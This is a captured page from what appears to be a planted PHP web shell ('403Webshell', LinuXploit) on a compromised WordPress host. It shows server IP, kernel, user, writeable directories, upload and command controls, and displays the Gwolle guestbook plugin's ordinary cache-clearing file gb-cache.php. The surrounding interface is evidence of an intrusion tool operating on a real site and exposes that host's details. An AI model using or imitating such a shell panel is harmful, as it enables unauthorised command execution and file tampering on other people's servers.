403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/13/d818981593/htdocs/GutTrechow/wp-content/plugins/gwolle-gb/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/13/d818981593/htdocs/GutTrechow/wp-content/plugins/gwolle-gb/functions/gb-cache.php
<?php


if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly



/*
 * Clear the cache of the most common Cache plugins.
 *
 * @param object $entry instance of gb_entry class
 */
function gwolle_gb_clear_cache( $entry = false ) {

	$page_id = 0;
	if ( is_object( $entry ) && is_a( $entry, 'gwolle_gb_entry' ) ) {
		$book_id = $entry->get_book_id();
		$page_id = (int) gwolle_gb_get_postid( $book_id );
	}

	/* Default WordPress */
	wp_cache_flush();


	/* Gwolle: Transient for admin menu counter */
	delete_transient( 'gwolle_gb_menu_counter' );

	/* Gwolle: Transient for frontend pagination counter */
	if ( is_object( $entry ) && is_a( $entry, 'gwolle_gb_entry' ) ) {
		$book_id = $entry->get_book_id();
		$key = 'gwolle_gb_frontend_pagination_book_' . $book_id;
		delete_transient( $key );
	} else {
		// no book_id available, clear all transients.
		$postids = gwolle_gb_get_books();
		if ( is_array($postids) && ! empty($postids) ) {
			foreach ( $postids as $postid ) {
				$bookid = (int) get_post_meta( $postid, 'gwolle_gb_book_id', true );
				if ( empty( $bookid ) ) {
					continue;
				}
				$key = 'gwolle_gb_frontend_pagination_book_' . $bookid;
				delete_transient( $key );
			}
		}
	}

	/* Cachify */
	if ( class_exists('Cachify') ) {
		$cachify = new Cachify();
		if ( method_exists($cachify, 'flush_total_cache') ) {
			$cachify->flush_total_cache(true);
		}
	}

	/* W3 Total Cache */
	if ( function_exists('w3tc_pgcache_flush') ) {
		w3tc_pgcache_flush();
	}

	/* WP Fastest Cache */
	if ( class_exists('WpFastestCache') ) {
		$wp_fastest_cache = new WpFastestCache();
		if ( method_exists($wp_fastest_cache, 'deleteCache') ) {
			$wp_fastest_cache->deleteCache();
		}
	}

	/* WP Super Cache */
	if ( function_exists('wp_cache_clear_cache') ) {
		$GLOBALS['super_cache_enabled'] = 1;
		wp_cache_clear_cache();
	}

	/* WP Rocket */
	if ( function_exists('rocket_clean_domain') ) {
		rocket_clean_domain();
	}

	/* Siteground Cache */
	if (function_exists('sg_cachepress_purge_cache')) {
		sg_cachepress_purge_cache();
	}

	/* Litespeed Cache
	https://docs.litespeedtech.com/lscache/lscwp/api/#purgeBest */
	if ( defined('LSCWP_V') ) {
		do_action( 'litespeed_purge_post', $page_id );
	}

}
add_action( 'gwolle_gb_save_entry_admin', 'gwolle_gb_clear_cache' );
add_action( 'gwolle_gb_save_entry_frontend', 'gwolle_gb_clear_cache' );

Youez - 2016 - github.com/yon3zu
LinuXploit